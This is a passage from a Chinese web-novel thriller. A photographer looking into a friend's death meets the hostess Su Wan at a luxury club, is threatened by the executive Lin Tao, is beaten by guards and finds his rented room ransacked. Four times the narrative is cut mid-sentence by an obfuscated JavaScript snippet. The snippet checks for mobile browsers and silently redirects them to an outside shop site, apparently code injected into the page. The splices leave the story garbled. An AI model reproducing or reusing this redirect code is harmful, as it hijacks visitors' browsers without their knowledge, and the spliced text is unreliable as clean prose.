车子停在了土路中央。我死死地盯着后视镜里的那个身影,握着方向盘的双手,指节捏得发白,微微颤抖。一股巨大的、难以名状的酸楚,像决堤的洪水,瞬间冲垮了我所有的心理防线,汹涌地漫上鼻腔和眼眶。视线开始模糊,后视镜里的景象扭曲、变形。 我知道,我那两百块钱,对他而言,不过是投入无底深渊的一颗小石子,连一丝回响都听不见。它无法挽回他女儿的健康,无法改变他贫困潦倒的命运,甚至无法让他吃上几顿像样的饭菜。它唯一的作用,或许就是在这绝望的死水里,短暂地泛起一丝微弱的、名为“希望”的泡沫,然后看着它更快地破灭。 我的“善意”,廉价得可笑。可笑到让我自己都感到恶心。 它既无法拯救顾远于阴谋的漩涡,也无法将老金从生活的泥潭中拉起。它唯一证明的,就是我自己的无力和虚伪——在我自身难保的困境中,还试图用这点微不足道的施舍,来安抚自己那点尚未完全泯灭的、可悲的良知。 这根本不是善意。这是一种更高级的、更隐形的自私。 我用力眨了眨眼,逼回那即将涌出的、毫无价值的液体。深吸一口气,松开了刹车,踩下油门。 破捷达发出一声低吼,颠簸着驶下了山路。后视镜里,那个鞠躬的身影越来越小,最终变成了一个模糊的黑点,消失在山林的背景之中。 那个影像,连同老金那混合着泪水与荒诞的讲述,连同顾远留在铁盒里的警告和洞壁上的刻痕,已经深深地烙在了我的视网膜上,我的脑海里,我的灵魂里。 这座城市的光芒之下,埋葬着太多无声的哭泣。而我,这个卑微的、自身难保的烂人,却可笑地、不自量力地,试图去倾听,试图去做点什么。 这本身,就是最大的悲剧,和最冷的笑话。 8. 什么是孤独 老金那佝偻鞠躬的身影,像一枚生锈的钉子,牢牢钉在我的脑海深处,每一次思维的轻微触碰,都会引发一阵带着铁腥味的、沉闷的痛楚。那两百块钱带来的非但不是解脱,反而是一种更深重的、关于自身无力和这世界本质残酷的认知。它与顾远之死、防空洞内的警告交织在一起,构成了一张巨大而绝望的网,而我,正身不由己地被拖向网的中心。 破捷达行驶在夜晚的城市街道上,窗外是流光溢彩、不知疲倦的喧嚣。霓虹灯牌像一只只充血的眼睛,冷漠地注视着穿梭的车流和人潮。高档商场橱窗里陈列着遥不可及的奢侈品,餐厅里飘出诱人的食物香气,衣着光鲜的男男女女脸上挂着经过精心计算的笑容……这一切,与老金那个价值五十元的破收音机,与他女儿每月四五千的药费单,形成了尖锐到令人心脏抽搐的对比。 地狱的烛火,此刻燃烧得正旺。 我根据那张旧照片背景里模糊的、几乎难以辨认的街景特征,以及顾远生前偶尔流露出的、关于某个高级会所的零星信息,将目标锁定在了“夜泊”。 “夜泊”。名字起得倒是很有意境,仿佛是为那些在都市欲望洪流中漂泊无依的灵魂,提供一个暂时的、奢华的停靠点。但我知道,这种地方,停靠的代价,往往是灵魂的进一步迷失,或者,是早已没有了灵魂的躯壳,在此进行着赤裸裸的利益交换。 它位于城市最核心的商务区,一栋摩天大楼的顶层。楼下是西装革履的精英和步履匆匆的白领,而楼上,则是另一个世界。一个用金钱、权力和性精心构筑起来的、悬浮在半空中的孤岛。 我把破捷达停在几条街外一个阴暗的、收费相对便宜的停车场。走出车门,仰头望向那高耸入云、灯火通明的大楼顶部,“夜泊”的招牌并不显眼,只有两个幽蓝色的、仿佛蕴含着某种魔力的艺术字,在夜色中散发着矜持而诱惑的气息。 我身上还是那件洗得发白的旧夹克,牛仔裤,一双看不出品牌的运动鞋。与周围环境格格不入。门口穿着笔挺制服、身材高大、眼神锐利的保安,已经用审视的目光在我身上扫了几个来回。 我知道,直接闯进去是不现实的。我需要一个理由,一个能让我这个看起来与“夜泊”客群毫不沾边的人,能够合理进入并且约见苏晚的理由。 我想到了我的相机。那台虽然老旧,但性能尚可、看起来颇有几分专业范儿的单反。它是我曾经的武器,也是我如今谋生的工具,或许,此刻也能成为我潜入这片危险水域的伪装。 我整理了一下衣领,尽管它依旧皱巴巴。深吸一口气,将相机挂在脖子上,努力让自己显得像一个……搞艺术的?或者,一个特立独行的、寻找灵感的创作者?我自己都觉得这个形象蹩脚得可笑。 我走向门口,尽量让自己的步伐显得从容。保安伸出手,礼貌但不容置疑地拦住了我。 “先生,请问有预约吗?”他的声音平稳,没有任何情绪,但眼神里的警惕没有丝毫放松。 “我找苏晚小姐。”我直接报出名字,同时举了举胸前的相机,“我是摄影师,想约她谈一个拍摄项目。” 保安的眉头几不可察地皱了一下。“苏小姐通常不接受未经预约的会面。请问您有预约凭证吗?或者,是哪位先生介绍的?” 果然。我早就料到会是这样。这种地方,等级森严,规矩繁多,像我这样的“闯入者”,连门槛都难以摸到。 我压下心中的烦躁,脸上努力挤出一个看似轻松、甚至带着点艺术家的倨傲表情——这让我自己都感到恶心。 “没有预约。是一个私人项目,关于城市夜色下的……孤独灵魂。”我刻意用了这个听起来有些矫情、但又符合某种特定审美趣味的词,“我观察苏小姐很久了,觉得她的气质非常独特,非常适合这个主题。只是想初步沟通一下,不会占用她太多时间。” 我一边说着,一边暗暗观察保安的反应。他脸上没有任何波动,显然对这种说辞早已免疫。 就在我以为会被直接轰走的时候,一个穿着黑色西装、看起来象是经理模样的中年男人从里面走了出来。他打量了我一下,目光在我那台相机上停留的时间稍长了一些。 “怎么回事?”他问保安,声音温和,却带着一种不容置疑的权威。 保安低声向他汇报了我的来意。 经理转向我,脸上挂着职业化的、无可挑剔的微笑:“这位先生,很抱歉,我们这里的会员和工作人员,都非常注重隐私。如果您没有预约或者引荐,恐怕……” 我几乎要放弃了。准备另想办法,或者干脆采用更冒险、更直接的手段。 就在这时,一个侍者模样的人匆匆从里面出来,在经理耳边低语了几句。 经理听完,脸上闪过一丝细微的讶异,随即看向我的眼神发生了一些微妙的变化。他重新挂上笑容,但这次,那笑容里似乎多了一点别的东西,象是……探究,又象是某种心照不宣的意味。 “原来是这样。”经理点了点头,对保安使了个眼色,“苏小姐刚好有空,她说可以见您十分钟。请跟我来。” 峰回路转。我心中猛地一紧。苏晚知道我要来?还是说,这只是某种巧合?亦或是……她早已预料到我的出现? 没有时间细想,我跟着经理,走进了“夜泊”的内部。 与外界的现代简约风格不同,内部是极致的奢华与一种刻意的、令人昏昏欲睡的昏暗。深色的天鹅绒帷幕,厚重的实木家具,墙壁上挂着抽象派的油画,光线主要来源于一个个设计精巧的壁灯和桌面上的小台灯,营造出一种私密而暧昧的氛围。空气里弥漫着一种复杂的香气,是某种昂贵的、带着木质和麝香基调的香水,混合着雪茄、酒精和……一种若有若无的、属于欲望和堕落的气息。 客人并不多,三三两两地坐在宽敞舒适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016445|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的卡座里,低声交谈着。男人们大多衣冠楚楚,女人们则妆容精致,衣着性感,眼神流转间,带着精心训练过的、或清纯或妩媚的风情。这里的一切,都像经过精心调校的仪器,每一个细节都在无声地诉说着:这里欢迎金钱和权力,其他一切,请自觉退场。 经理将我引到一个更加偏僻、被帷幕半遮掩着的卡座前。 “苏小姐就在里面,您请。”他微微躬身,做了一个请的手势,然后便悄无声息地退开了,像一滴水融入了黑暗。 我站在卡座入口,深吸了一口那混合着昂贵香水和阴谋气息的空气,掀开了厚重的帷幕。 卡座里的光线比外面更加昏暗,几乎只能看清大致的轮廓。一张宽大的、铺着深色丝绸的沙发,一个玻璃茶几,上面放着一个水晶烟灰缸和一瓶开了封的、琥珀色的洋酒。 一个人影,慵懒地陷在沙发深处。穿着一件黑色的、剪裁极简却勾勒出惊心动魄曲线的吊带长裙,肩带上点缀着细碎的、仿佛泪珠般的水晶。肌肤在昏暗中呈现出一种象牙般的白皙光泽。修长的双腿交叠着,脚上是一双精致的银色细高跟鞋,鞋尖轻轻点着地面,带着一种漫不经心的诱惑。 她的手指间,夹着一支细长的女士香烟,猩红的火点在昏暗中明明灭灭,像一只窥探着的、不怀好意的眼睛。 烟雾缭绕,让她的面容有些模糊,但那双眼睛,却穿透烟雾,清晰地投注在我身上。 那是一双……我无法用言语准确形容的眼睛。大而深邃,眼尾微微上挑,带着天生的媚意。但瞳孔的颜色极深,像两潭深不见底的、寒冷的湖水,表面平静无波,底下却仿佛隐藏着巨大的漩涡,能轻易将人的灵魂吸入、绞碎。眼神里没有惊讶,没有好奇,只有一种……了然于胸的平静,和一丝极其隐晦的、仿佛看透一切的疲惫与嘲弄。 她就是苏晚。照片上那个与年轻赵承德站在一起的、怯生生的少女,如今已蜕变成眼前这个美丽、危险、如同暗夜玫瑰般的女人。 我在她对面的沙发上坐下,将相机放在一旁。我们之间隔着缭绕的烟雾和那瓶昂贵的洋酒,仿佛隔着一整个充满谎言与算计的世界。 她没有说话,只是静静地看着我,吸了一口烟,然后缓缓吐出。烟雾在她面前形成一道薄薄的屏障。 我率先打破了沉默,重复着那个蹩脚的理由:“苏小姐,冒昧打扰。我是摄影师沈默,想邀请你参与一个拍摄项目,关于城市夜色下的孤独……” “孤独?”她打断了我,声音不高,带着一种沙哑的、仿佛被烟酒浸润过的磁性。她微微歪着头,嘴角勾起一个极淡、却极具穿透力的弧度,那弧度里没有任何暖意,只有冰冷的审视。 她抬起夹着烟的手,用修长的食指轻轻点了点自己的太阳穴,目光像手术刀一样精准地剖开我拙劣的伪装,直刺内核。 她问我:“你拍孤独,那你懂什么是孤独吗?” 9. 苏晚的香水味 “你拍孤独,那你懂什么是孤独吗?”她的声音不高,带着那种被烟酒浸润过的、独特的沙哑磁性,像柔软的丝绸包裹着冰冷的金属。这句话不是询问,更象是一种审判,一种直刺心底的、带着嘲弄的挑衅。它轻易地穿透了我那套“寻找孤独灵魂”的虚伪外壳,露出了里面那个同样空洞、同样在黑暗中挣扎的本质。 我迎着她那深潭般的目光,感觉自己像一只被钉在标本板上的昆虫,无所遁形。卡座里的空气似乎变得更加粘稠,那混合着昂贵香水、烟草和酒精的气息,钻进我的肺部,带来一阵轻微的眩晕。昏暗的光线在她脸上投下暧昧的阴影,让她美丽的面容显得更加莫测。 我强迫自己扯动嘴角,露出一个同样虚假、带着犬儒意味的笑容。“不懂,所以才要拍。试图从别人的孤独里,找到一点自己存在的证据,或者……至少证明不是只有我一个人这么糟糕。” 这是实话,以一种经过伪装的方式说出来。我的生活本身就是一团糟,孤独是我最亲密的伙伴。 苏晚轻轻嗤笑一声,声音很轻,却像冰片划过玻璃。她将香烟递到唇边,又吸了一口,猩红的火点骤然明亮,映亮了她瞬间的表情——那是一种混合着厌倦和某种深刻洞察力的冷漠。 “存在的证据?”她缓缓吐出烟雾,目光透过青灰色的烟霭,审视着我,“在这里,存在的证据只有两种:钱,和让你能继续赚钱的东西。比如……关系,比如……秘密。”她的指尖轻轻敲击着水晶烟灰缸的边缘,发出清脆的、令人心绪不宁的细微声响。 “那你呢,苏小姐?”我将问题抛了回去,试图夺回一点主动权,“你的存在证据是什么?” 她看着我,眼波流转,那深潭般的眸子里似乎掠过一丝极淡的、类似悲哀的情绪,但消失得太快,快得让我怀疑是否是光线的错觉。 “我?”她笑了,这次的笑容明显了一些,带着一种刻意展现的、慵懒的风情,与她刚才那瞬间的冰冷判若两人,“我只是一件装饰品,摆在这里,让付钱的人觉得环境更赏心悦目一点。我的存在,取决于别人愿意为我这件‘装饰品’付出多少代价。”她的话语轻描淡写,仿佛在说一件与己无关的事情,但里面蕴含的自我物化与冰冷的现实,却让人不寒而栗。 对话陷入了短暂的沉默。只有烟雾在无声地缭绕,远处隐约传来缥缈的爵士乐声,更衬得这方寸之间的寂静格外压抑。我知道,继续这种不着边际的、充满机锋的试探毫无意义。我必须切入正题,哪怕这会带来未知的风险。 我深吸一口气,仿佛这样能给自己注入一点勇气。手指无意识地摩挲着冰凉的相机外壳。 “我认识一个人,”我开口,声音因为紧张而显得有些干涩,“他以前……可能也来过这里。” 苏晚端起茶几上那杯琥珀色的酒,轻轻晃动着,冰块撞击杯壁,发出细碎的声响。她没有看我,目光落在旋转的酒液上,仿佛那里面藏着另一个世界。 “哦?谁?”她的语气听起来漫不经心。 “他叫顾远。”这个名字像一块投入死水潭的石子。我清晰地看到,她端着酒杯的手指,几不可察地收紧了一下,指关节微微泛白。她脸上那慵懒的、程序化的妩媚表情,如同被寒风吹拂的薄冰,骤然出现裂痕。那双深不见底的眼睛猛地抬起,看向我,瞳孔在昏暗的光线下急剧收缩,里面迸发出的是一种毫无掩饰的、锐利如刀锋的冰冷,甚至……带着一丝极其隐晦的、类似于警惕甚至是……杀意的东西。 这变化只持续了不到一秒。快得几乎让人以为是错觉。 但我知道不是。我对人的微表情,尤其是那种瞬间泄露真实情绪的微表情,有着摄影师般的敏锐捕捉力。顾远的名字,像一把钥匙,瞬间打开了这女人内心深处某个紧锁的、黑暗的盒子。 然而,就在下一秒,那冰冷的裂痕迅速弥合。她的眼神重新变得朦胧,仿佛刚才的锐利只是灯光造成的幻觉。她缓缓将酒杯放下,身体重新慵懒地靠回沙发背,嘴角甚至重新勾勒起那抹妩媚的弧度,只是这一次,那弧度显得有些僵硬,有些……用力。 “顾远……”她轻声重复着这个名字,象是在品味,又象是在确认。她的目光再次落在我脸上,恢复了那种带着审视的、仿佛能看穿一切的了然。 “他啊……”她拖长了语调,声音里带着一种刻意营造的、轻飘飘的惋惜,“是个好人。” “好人”这两个字,从她涂抹着暗红色唇膏的嘴里说出来,带着一种极其怪异的、近乎残忍的意味。它不像褒奖,更象是一句墓志铭,一个判决。 她微微前倾身体,靠近我一些。那股浓郁的、带着木质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016446|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和麝香基调的香水味更加清晰地扑面而来,混合着她呼吸间淡淡的烟草和酒精气息,形成一种复杂而危险的蛊惑。这香气不再仅仅是奢华和诱惑,它更象是一种……警告。一种用最甜美的方式包装起来的、致命的毒素。 她的红唇几乎凑到我的耳边,压低了声音,用那种沙哑的、仿佛情人低语般的腔调,一字一句地说道:“但是,小帅哥……你要知道,在这里,在这个城市里……” ‘好人’,通常都活不长的。”她的声音很轻,带着温热的气息拂过我的耳廓,却让我浑身的血液仿佛在瞬间冻结。 活不长。这三个字,像三颗冰冷的子弹,精准地射入我的心脏。 她说得如此平静,如此理所当然,仿佛在陈述一个像日出日落一样自然的定律。没有愤怒,没有悲伤,只有一种看惯了生死、看透了规则般的麻木和冷酷。 这不仅仅是在说顾远。这更象是在……警告我。 我僵在沙发上,感觉后背渗出了冰冷的汗水,紧紧贴住了粗糙的沙发面料。卡座里的空气仿佛凝固了,那浓郁的香水味变得令人窒息。远处缥缈的音乐声,此刻听来象是送葬的挽歌。 我看着她重新靠回沙发,优雅地翘起腿,拿起香烟又吸了一口,烟雾再次将她笼罩,让她美丽的面容变得模糊不清。她似乎又变回了那个慵懒的、风情万种的会所头牌,仿佛刚才那句带着血腥气的警告,只是我的幻觉。 但我知道,那不是幻觉。 顾远的死,绝对与她,与她背后那个由赵承德代表的庞大阴影,有着千丝万缕、甚至直接的联系。她不仅认识顾远,而且深知他的死因。那句“好人活不长”,就是最直白的承认,和最冷酷的炫耀。 她身上的香水味,那混合了烟草和酒精的、致命诱惑的气息,此刻无比清晰地烙印在我的感官里。它不再仅仅是一种气味,它成了一种象征,象征着这个浮华世界底下,那冰冷、残酷、吞噬一切的黑暗本质。 而我,这个不知死活、试图窥探真相的“好人”,似乎也已经半只脚踏入了那个“活不长”的行列。 这场对话,从一开始,就不是关于什么狗屁的“孤独灵魂”。 这是一场在刀尖上进行的、关于生死和真相的试探。而我,在第一个回合,就几乎被那冰冷的刀锋,划开了喉咙。 10. 冰冷的谶语 苏晚那句“‘好人’,通常都活不长的”像一句冰冷的谶语,悬挂在卡座粘稠的空气里,余音缭绕,钻进我的骨髓缝中。我与她对视着,试图从那深潭般的眸子里再挖掘出一点什么——恐惧?愧疚?哪怕是一丝怜悯?但没有,什么都没有。只有一片精心修饰过的、冰冷的虚无,以及那若有若无的、仿佛在欣赏我此刻惊悸的嘲弄。 我意识到,从她这里,我恐怕再也得不到任何直接的信息了。她是一堵覆盖着天鹅绒的钢墙,所有的试探都被无声地弹回,反而让我自己遍体鳞伤。继续待下去,除了增加暴露的风险,毫无意义。 就在我准备起身,用最后一点残存的演技道别离开时,卡座厚重的帷幕被人从外面“唰”地一下掀开了。 光线涌入,勾勒出一个高大挺拔的身影。 来人穿着一身剪裁极其合体的深灰色西装,面料在昏暗光线下泛着高级的哑光。衬衫雪白,扣子一丝不苟地扣到喉结下方,一条暗红色的领带像一道凝固的血痕。他看起来三十五六岁,头发梳理得一丝不乱,露出宽阔饱满的额头。五官称得上英俊,但组合在一起,却透着一股刻薄的锐利和一种长期发号施令形成的、不容置疑的压迫感。 他的目光先是落在苏晚身上,那眼神瞬间变得柔和,甚至带着一种露骨的、充满占有欲的亲昵。但当他转向我时,那点柔和瞬间蒸发,取而代之的是一种居高临下的、鹰隼般的审视,冰冷,锐利,带着毫不掩饰的轻蔑。 来人是林涛。虽然我从未见过他本人,但顾远生前偶尔提及,以及我在一些财经报道的边角料里看到过他的照片——赵承德最得力的副手,远大集团的副总裁,一个以手段狠辣、行事果决著称的“实干派”。他比照片上看起来更加具有攻击性。 他没有丝毫犹豫,径直走到苏晚身边,极其自然地伸出手,揽住了她纤细的腰肢,手指甚至在她裸露的腰部皮肤上轻轻摩挲了一下。这是一个充满宣告意味的动作,像野兽在标记自己的领地。 苏晚的身体,在他手掌接触的瞬间,几不可察地僵硬了一下,虽然极其短暂,虽然她脸上立刻浮现出更加妩媚、甚至带着点依赖意味的笑容,但我捕捉到了那一闪而逝的僵硬和……一丝难以言喻的屈从感。 “小晚,有朋友在?”林涛开口了,声音不高,却带着一种金属般的质感,每一个字都敲打在人的神经上。他的目光依旧锁定在我身上,像两把冰冷的手术刀,仿佛要一层层剖开我的衣服、皮肉,直窥内里那个狼狈不堪的灵魂。 “这位是沈先生,一位摄影师,来找我谈点……艺术上的事情。”苏晚的声音依旧沙哑慵懒,听不出任何破绽,她甚至微微向林涛靠了靠,姿态亲昵。 “摄影师?”林涛眉毛微挑,嘴角扯出一个没什么温度的弧度,那弧度里充满了毫不掩饰的讥诮。他的目光扫过我胸前那台老旧的单反,扫过我洗得发白的夹克,扫过我脸上尚未完全褪去的惊悸,最终定格在我的眼睛上。 “看着面生啊。”他淡淡地说,语气平淡,却像一记无形的耳光,狠狠扇在我的脸上,“在哪家高就?还是……自由艺术家?”他把“自由艺术家”几个字咬得稍微重了些,里面的轻蔑几乎要溢出来。 我知道,我被盯上了。不是普通的怀疑,而是一种精准的、带着恶意的锁定。林涛的出现绝非偶然。或许从我踏入“夜泊”的那一刻起,或者说,从我开始调查顾远之死起,我就已经进入了他们的视野。苏晚刚才那句警告,此刻听起来更象是一种提前宣判。 心脏在胸腔里疯狂跳动,几乎要撞碎肋骨。恐惧像冰冷的藤蔓,缠绕住我的四肢百骸。但我不能露怯。在这里,露怯就意味着任人宰割。 我强迫自己迎上他那冰冷的目光,脸上挤出一个尽可能平静、甚至带着点所谓“艺术家”傲气的表情——尽管我知道这在他眼里可能更加可笑。 “自由摄影师,混口饭吃。”我的声音有些发紧,但还算稳定,“只是欣赏苏小姐的气质,来聊聊合作的可能性。既然林先生来了,那我就不打扰二位的雅兴了。” 我站起身,拿起相机,准备离开。多待一秒钟,都感觉象是在高压电线上行走。 “哦?”林涛并没有让开的意思,他依旧揽着苏晚,像一尊门神般挡在卡座出口附近,目光在我身上逡巡,“沈先生这就要走?不再多坐会儿?我看你和我们小晚聊得挺‘投缘’的。”他刻意加重了“投缘”二字,里面的威胁意味不言而喻。 “不了,还有事。”我维持着最后的体面,试图从他身边绕过去。 就在我与他擦肩而过的瞬间,他忽然用只有我们两人能听到的音量,极快地说了一句:“顾远……也喜欢搞这些‘艺术’的东西。” 我的脚步猛地一滞,全身的血液仿佛在这一刻凝固。他知道了!他不仅知道我是谁,还知道我和顾远的关系!他这是在明目张胆地警告,是在告诉我,我所有的举动,都在他们的监视之下! 巨大的恐惧攫住了我,几乎让我窒息。我不敢回头,不敢看他此刻脸上必定挂着的、猫捉老鼠般的残忍笑容。我加快了脚步,几乎是逃离般冲出了那个令人窒息的卡座,冲过了那片奢华而冷漠的公共区域。 背后,似乎能感受到林涛那两道冰冷的目光,如同实质的芒刺,紧紧钉在我的脊梁骨上。 走到“夜泊”那扇厚重的、隔音极佳的大门口,我几乎要虚脱。门外清凉的夜风吹来,让我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016447|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打了个寒颤。刚刚松了一口气,以为暂时逃离了那个魔窟。 突然,两条如同铁钳般的手臂一左一右架住了我!门口的那两个保安!他们的脸上没有任何表情,眼神像冰冷的机器。 “先生,请走这边。”其中一个毫无感情地说道,语气不容置疑。 “我自己会走!”我试图挣扎,但他们的力量大得惊人,我的反抗如同蚍蜉撼树。 他们根本不理睬我,架着我,粗暴地将我拖向侧面一条昏暗的、通往消防通道的小路。那里没有光,没有监控,是繁华背面最肮脏的角落。 “你们干什么!放开我!”我低吼着,恐惧和愤怒交织。 回答我的,是其中一人猛地用膝盖顶在我的后腰!一阵剧痛传来,我闷哼一声,身体瞬间失去了平衡。紧接着,另一人毫不留情地在我后背用力一推!我整个人向前扑倒,脸朝下重重地摔在冰冷、粗糙的水泥地面上。鼻子一阵酸辣剧痛,温热的液体瞬间涌出,嘴里尝到了咸腥的铁锈味。相机从手中脱落,摔在一旁,发出令人心碎的声响。 灰尘扑鼻,眼前金星乱冒。我像一条死狗一样趴在地上,浑身剧痛,尤其是脸颊和膝盖火辣辣地疼。鼻腔里的血滴落在灰色的水泥地上,晕开一小片暗红。 那两个保安站在我身边,居高临下地看着我,如同看着一堆烂泥。 “先生,我们这里不欢迎不懂规矩的人。”其中一个冷冷地说完,然后和同伴转身,迈着机械的步伐离开,消失在昏暗的灯光下。 周围一片死寂。只有我粗重的喘息声,和鼻腔里血液滴落的、微不可闻的“滴答”声。 我挣扎着,用手臂支撑起上半身,吐出一口带着血丝的唾沫。脸上、身上沾满了灰尘和污垢,狼狈不堪。相机镜头似乎摔裂了,镜片反射着破碎的光。 尊严?在这里,在这座城市的光鲜表皮之下,在权力和金钱的阴影里,尊严他妈的一文不值。 它就像我此刻吐出的这口带血的唾沫,只能无力地玷污这片肮脏的地面,然后被无情地践踏,最终消失无踪。 我趴在地上,没有立刻起来。不是因为疼痛,而是因为一种深入骨髓的、混合着屈辱、愤怒和巨大无力的冰冷,冻结了我的四肢。 林涛。苏晚。赵承德。还有那个“活不长”的诅咒。我抬起头,透过模糊的、带着血丝的视线,望向远处那依旧灯火辉煌的“夜泊”招牌。它像一只悬浮在夜空中的、冷漠的巨眼,嘲弄地注视着地上这只卑微的、摔得鼻青脸肿的虫子。 我知道,从这一刻起,游戏的性质彻底改变了。我不再只是一个暗中的调查者。 我已经成了猎物。而猎犬,已经露出了它锋利的獠牙。 11. 被破门而入破屋 离开“夜泊”后那条肮脏的后巷,我几乎是拖着身体在移动。脸颊和膝盖的擦伤火辣辣地疼,鼻腔里还残留着血腥味,混合着灰尘和垃圾腐败的气息。那台老相机被我紧紧抱在怀里,镜头上的裂痕像一道丑陋的伤疤,横亘在我与现实之间。林涛冰冷的眼神,苏晚那句带着血腥气的警告,保安粗暴的动作,以及最后摔倒在地时那深入骨髓的屈辱感……所有这些,像一场混乱而暴烈的旋风,在我脑海里反复席卷、撕扯。 我没有立刻去开那辆破捷达。而是沿着灯火通明、车流不息的街道,漫无目的地走了很久。夜风带着凉意,吹在我滚烫的脸颊和混乱的头脑上,却无法带来丝毫清醒,只有一种更加深沉的、无处遁形的寒冷。路边橱窗里映出我的影子——一个衣衫皱巴、身上沾着污迹、脸上带着伤、眼神空洞的流浪汉形象。与周围光鲜的环境格格不入,像一个不该存在的、刺眼的错误。 “好人活不长……”林涛提到顾远名字时那轻蔑的语气…… 他们知道。他们什么都知道。知道我认识顾远,知道我在调查,知道我去了“夜泊”找苏晚。我在他们眼里,恐怕就像一只在蛛网上微弱挣扎的虫子,他们甚至懒得立刻捏死,只是饶有兴致地看着我还能蹦跶几下,还能引出多少可笑的动静。 恐惧,像一种具有腐蚀性的液体,渗透了我每一个毛孔。不仅仅是害怕死亡,更是害怕那种毫无尊严、任人摆布的命运。害怕像顾远一样,死得不明不白,还被扣上“自杀”的帽子。害怕像老金一样,被生活逼到墙角,连出卖自己血液的资格都被剥夺。 走到停车场,坐进破捷达里,熟悉的霉味和机油味竟然带来了一丝病态的安慰。至少在这里,在这个狭小、破旧的空间里,暂时是安全的。我发动车子,引擎的轰鸣声掩盖了我不由自主的、细微的颤抖。 回那个城中村的出租屋。尽管它破败、潮湿、嘈杂,但至少那是我名义上的“家”,一个可以暂时蜷缩起来舔舐伤口的、最后的壳。 车子驶入城中村狭窄、坑洼的巷道,两旁是密密麻麻的握手楼,晾衣竿横七竖八地伸出来,挂满了各式各样的衣物,像万国旗,又象是垂挂着的、无精打采的旗帜。各种声音、气味混杂在一起,构成一幅混乱而充满底层生命力的图景。往常,我会厌恶这里的拥挤和肮脏,但此刻,这种混乱反而成了一种掩护。 停在楼下,我锁好车——尽管这破车恐怕连最不入流的小偷都看不上——深吸了一口混合着油烟和垃圾味的空气,迈步走上那道阴暗、堆满杂物的楼梯。 走到我租住的位于四楼的那个小房间门口时,我的手刚刚触碰到冰凉的铁皮门,动作就僵住了。 门锁的位置,不对劲。那把我花了几十块钱换的、质量低劣的弹子锁,此刻歪斜着,门框边缘的木屑崩裂,露出里面粗糙的木质。锁芯明显是被某种暴力工具硬生生撬开的! 我的心脏猛地一沉,象是被一只无形的手狠狠攥住,瞬间停止了跳动。血液冲上头顶,耳边嗡嗡作响。 他们来了! 甚至不需要思考,我就知道是谁。林涛的人。赵承德的人。那些隐藏在“夜泊”奢华表象之下的、负责处理“麻烦”的阴影。 我站在门口,一动不动,仿佛石化了一般。恐惧如同冰冷的潮水,瞬间淹没了刚才在车上那点可怜的安慰。他们不仅在外面盯着我,不仅能在“夜泊”那样的地方随意羞辱我,他们还能……还能像进入无人之境一样,闯入我这最后的、卑微的庇护所! 我猛地伸出手,用力推开了那扇虚掩的、已经被破坏的门。门轴发出干涩的摩擦声,象是在发出痛苦的呻吟。 屋内的景象,映入眼帘。 即使我早有心理准备,即使我刚刚经历了“夜泊”的羞辱,眼前的场景依然像一记重锤,狠狠砸在我的胸口,让我呼吸一滞,几乎要呕吐出来。 乱。极致的、彻底的、带着恶意破坏欲的混乱。 仿佛一场小型的台风刚刚席卷过这个只有十平米的空间。唯一的那张破桌子被掀翻在地,抽屉被拉出来,里面的东西——螺丝刀、胶卷、零散的硬币、皱巴巴的收据——泼洒得到处都是。墙角那几个装着我视若珍宝的旧照片和胶卷的纸箱,被粗暴地撕开,里面的东西像垃圾一样被倾倒出来,散落一地,上面甚至能看到清晰的、肮脏的鞋印。床上的被褥被扯到地上,枕头被划开,里面发黄的棉絮露了出来,飘得到处都是。连那个掉漆的衣柜也没能幸免,柜门大开,里面几件廉价的衣服被扯出来,扔在地上,踩得满是污迹。 空气中弥漫着一股更加浓烈的、陌生人留下的气息,混合着灰尘、以及一种……类似于金属和汗液的、令人不安的味道。 我像个木头人一样,站在门口,目光呆滞地扫视着这片狼藉。这里每一件被破坏、被践踏的物品,都承载着我过去生活的痕迹,无论那痕迹是多么卑微、多么不堪。而现在,它们全都变成了垃圾,变成了无声控诉着暴力入侵的证物。 我踉跄着走进屋内,脚下踩到了散落的照片,那是几年前我为一个流浪老人拍的肖像,老人脸上的皱纹里满是故事,此刻却被一个肮脏的鞋印覆盖。 我蹲下身,颤抖着手,在那堆被倾倒出来的杂物里翻找。我的旧钱包,被扔在一个角落,里面空空如也——当然,那两百块我已经给了老金。几枚硬币滚落在灰尘里。一些无关紧要的笔记和废纸…… 他们在找什么?答案显而易见。顾远的那部旧手机!或者,我从防空洞铁盒里找到的那把钥匙! 我猛地站起身,冲到墙角,在那堆被翻得乱七八糟的、属于顾远的纸箱里疯狂寻找。没有!那部旧手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 